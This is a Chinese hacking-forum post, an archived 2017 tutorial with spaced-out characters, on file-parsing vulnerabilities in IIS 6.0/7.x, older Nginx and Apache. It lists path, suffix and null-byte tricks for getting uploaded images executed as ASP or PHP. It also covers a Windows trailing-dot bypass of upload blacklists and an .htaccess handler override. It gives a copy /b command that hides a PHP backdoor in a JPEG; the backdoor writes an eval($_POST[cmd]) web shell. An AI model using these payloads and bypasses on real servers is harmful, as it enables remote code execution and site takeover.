搜索

[20725] 2017-04-29_各类解析漏洞

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-18
2017-04-29_各类解析漏洞 各 类 解 析 漏 洞 L e m o n S e c   2 0 1 7 - 0 4 - 2 9 I I S 6 . 0 解 析 漏 洞 目 录 解 析 ： / x x . a s p / x x . j p g     x x . j p g 可 替 换 为 任 意 文 本 文 件 ( e . g .   x x . t x t ) ， 文 本 内 容 为 后 门 代 码 后 缀 解 析 ：   / x x . a s a ; . j p g   （ 此 处 需 要 抓 包 修 改 文 件 名 ） I I S 6 . 0   都 会 把   此 类   后 缀 文 件 成 功 解 析 为   a s p 文 件 默 认 解 析 ：   / x x . a s a     / x x . c e r     / x x . c d x I I S 6 . 0   默 认 的 可 执 行 文 件 出 了 a s p   还 包 含 这 三 种 此 处 可 联 系 利 用 目 录 解 析 漏 洞     / x x . a s a / x x . j p g   活   / x x 0 c e r / x x . j p g   或   x x . a s a ; . j p g I I S   7 . 0 / I I S   7 . 5 / N g i n x   < 8 . 0 3   解 析 漏 洞 在 默 认 F a s t - C G I 开 启 在 默 认 F a s t - C G I 开 启 状 况 下 , 在 一 个 文 件 路 径 ( / x x . j p g ) 后 面 加 上 / x x . p h p 会 将   / x x . j p g / x x . p h p   解 析 为   p h p   文 件 。 常 用 利 用 方 法 ：   将 一 张 图 和 一 个 写 入 后 门 代 码 的 文 本 文 件 合 并   将 恶 意 文 本 写 入 图 片 的 二 进 制 代 码 之 后 ， 避 免 破 坏 图 片 文 件 头 和 尾   e . g .       c o p y   x x . j p g / b   +   y y . t x t / a   x y . j p g                             / b   即 二 进 制 [ b i n a r y ] 模 式                             / a   即 a s c i i 模 式   x x . j p g 正 常 图 片 文 件             y y . t x t 内 容   [ P H P ]   纯 文 本 查 看   复 制 代 码 ? 1 < ? p h p   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ; ? 其 他 可 利 用 的 解 析 漏 洞 在 w i n d o w s 环 境 下 ， x x . j p g [ 空 格 ]   或 x x . j p g .   这 两 类 文 件 都 是 不 允 许 存 在 的 ， 若 这 样 命 名 ， w i n d o w s 会 默 认 除 去 空 格 或 点 ， 这 也 是 可 以 被 利 用 的 ！ 在 向 一 台 w i n d o w s 主 机 上 传 数 据 时 ， 你 可 以 抓 包 修 改 文 件 名 ， 在 后 面 加 个 空 格 或 点 ， 试 图 绕 过 黑 名 单 ， 若 上 传 成 功 ， 最 后 的 点 或 空 格 都 会 被 消 除 ， 这 样 就 可 得 到 s h e l l 。 我 记 得 F c k   P h p   2 . 6 就 存 在 加 空 格 绕 过 的 漏 洞 。 { L i n u x 主 机 中 不 行 ， L i n u x 允 许 这 类 文 件 存 在 } 如 果 在 A p a c h e 中 . h t a c c e s s 可 被 执 行 （ 默 认 不 执 行 ， 这 是 9 0 s e c 里 的 一 位 朋 友 说 的 ， 当 初 我 并 不 知 道 ） ， 且 可 以 被 上 传 ， 那 可 以 尝 试 在 . h t a c c e s s 中 写 入 : < F i l e s M a t c h   “ s h e l l . j p g ” >   S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p   < / F i l e s M a t c h > s h e l l . j p g 换 成 你 上 传 的 文 件 ， 这 样 s h e l l . j p g 就 可 解 析 为 p h p 文 件 N g i n x   < 8 . 0 3 解 析 漏 洞 在 F a s t - C G I 关 闭 的 情 况 下 ， N g i n x   < 8 . 0 3 依 然 存 在 解 析 漏 洞 在 一 个 文 件 路 径 ( / x x . j p g ) 后 面 加 上 % 0 0 . p h p 会 将   / x x . j p g % 0 0 . p h p   解 析 为   p h p   文 件 。 A p a c h e 解 析 漏 洞 后 缀 解 析 ： t e s t . p h p . x 1 . x 2 . x 3   A p a c h e 将 从 右 至 左 开 始 判 断 后 缀 ， 若 x 3 非 可 识 别 后 缀 ， 再 判 断 x 2 ， 直 到 找 到 可 识 别 后 缀 为 止 ， 然 后 将 该 可 识 别 后 缀 进 解 析   t e s t . p h p . x 1 . x 2 . x 3   则 会 被 解 析 为 p h p 经 验 之 谈 ： p h p | p h p 3 | p h t m l   多 可 被 A p a c h e 解 析 查 看 更 多 文 章 ， 关 注 下 方 二 维 码

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理